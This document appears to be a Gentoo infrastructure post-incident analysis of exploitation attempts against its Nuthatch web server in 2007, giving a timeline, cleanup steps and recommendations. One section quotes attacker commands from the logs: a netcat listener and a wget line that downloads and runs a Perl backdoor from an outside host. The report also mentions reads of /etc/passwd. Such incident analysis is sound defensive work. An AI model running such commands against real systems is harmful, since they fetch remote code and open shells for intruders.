Analysis and Timeline of the Nuthatch exploitation attempts

1.  Affected Services

Nuthatch hosted a number of non-critical, informative-only web services. It was not used for any development or distribution services. A very limited number of developers had access to the machine, and rarely used it.

• packages - Browsable index of packages in the Portage tree.
• archives - Archives of the Gentoo mailing lists.
• packagestest, archivestest - Test installations of packages and archives, for testing new code and features.
• scripts - Gentoo Script Repository (GLEP15), defunct.
• kiss - Kernel Advisory Management tool, defunct.
• stats - Gentoo Statistics project, defunct.
• survey - Gentoo User Survey, defunct.

2.  Raw data

Log of all usages of the exploit: apache-log-extract.txt

3.  Timeline overview

August 1, 2007

1. The first user to discover/use the exploit was from 65.81.XXX.XXX, at 01/Aug/2007 15h56 UTC. He ran uname -a and cat /etc/passwd, then stops, his IP is not seen again.
2. At 19h36 UTC, the exploit becomes known to a wider group. Either this or the initial discovery took place at DEFCON.
3. The next 15 minutes have 18 further usages of the exploit (two of which bear further examination), after which the usage drops extremely rapidly.
4. There are 7 further attempts on August 1st, the last being at 22h32 UTC.
5. Including the initial discovery, 9 unique IP addresses have hit the exploit on the first day, 27 total attempts. 13 of these attempts are cat /etc/passwd. A full breakdown is given at commands.txt

August 6, 2007

1. No further attempts to use the exploit are made until 06/Aug/2007 21h10 UTC. The IP used did also hit the exploit on the first day. It seems like it is demonstrated to somebody else, because 6 minutes later, somebody uses a near identical URL string (on the seamonkey package) for the exploit.
2. (Assumption: the exploit filters through Gentoo at this point. Nobody else uses it).
3. The Gentoo bug #187971 is opened for the issue on 07/Aug/2007 02h59 UTC.
4. At 03h17 one further unknown attempt to use the exploit is made, running df. This may have been a Gentoo developer, based on IRC logs of #gentoo-dev at the time.
5. At 03h20 UTC, Gentoo infra becomes aware of the exploit, and tests it once by running echo EXPLETIVE-DELETED.
6. Apache on the machine is taken offline.
7. Initial data capture of relevant memory contents and volatile machine state.
8. Machine is halted.
9. Approximately 04h10 UTC marineam happens to be on-hand at OSL, and reboots the machine to a livecd. MANY thanks to marineam for this insanely good response time, and here's a plug for the OSL Beer fund
10. kingtaco and robbat2 take an image of the hard drive.
11. The bug now gets left along for the next several days, as the majority of the infra team is attending (and later recovering from) LWE.

August 13, 2007

1. Serious analysis on the image begins.

4.  Focus on specific attempts

Two of the attempts bear further commenting.

nc -l -p 9876

This is blocked by the ingress firewall. Default DENY rule wins.

wget -O /var/tmp/foo.pl http://www.regimesyndicate.org/interrupt/foo.pl && perl /var/tmp/foo.pl yourhost listeningport

This had potential. If the script kiddy that ran this one (obstensibly from 24.227.XXX.XXX) actually had even two brain cells to rub together, he could have gotten a lot further. Instead, he failed in two ways. Firstly, the backdoor he was trying to fetch was already gone. It is available elsewhere via Google, and is a trivial perl listener that spawns /bin/sh. Secondly, he forgot to specify his outgoing destination host and port.

5.  Summary of exploit usage

While Infra is reasonable certain that no attacker successfully executed more than a few harmless commands, the potential remains for the machine to have been seriously exploited.

6.  Partially lucking out

Between the time of the first exploit usage, and the exploit becoming known to Infra, no Gentoo developer logged in with SSH, nor had a long-running shell open. This means that no user could have had their SSH keys compromised if they had their SSH agent forwarded to the machine.

However, this analysis was needlessly complicated by the fact that Gentoo's remote logging setup did not seem to be logging all traffic correctly. If it had been working correctly, a higher degree of certainty, and more information could have been obtained.

7.  Cleanup actions

The following has been undertaken to clean up.

1. The machine has been wiped for a clean install.
2. Almost all services have been restored.
3. The packages code has had the original issue fixed, but remains offline pending a full audit.
4. All 20 users with local accounts on the machine should change their passwords as a precautionary measure. Any user that had only an LDAP account was not affected.

8.  General Recommendations

• Remote logging of external facing services should be verified regularly.
• Consider detailed traffic accounting with a package such as IPaudit (leave the GUI out), to aid later analysis.
• Custom code should be reviewed by the security team before wide usage, esp. on critical machines.

9.  Thanks to

• Robin H. Johnson (robbat2) - Doing this analysis and writeup
• Michael Marineau (marineam) - Rebooting to a livecd.
• Tavis Ormandy (taviso) - Help in some analysis pointers and extra things to check.
• David Rude (bannedit0) - (65.196.XXX.XXX in the logs) Reporting the exploit to the Gentoo Bugzilla.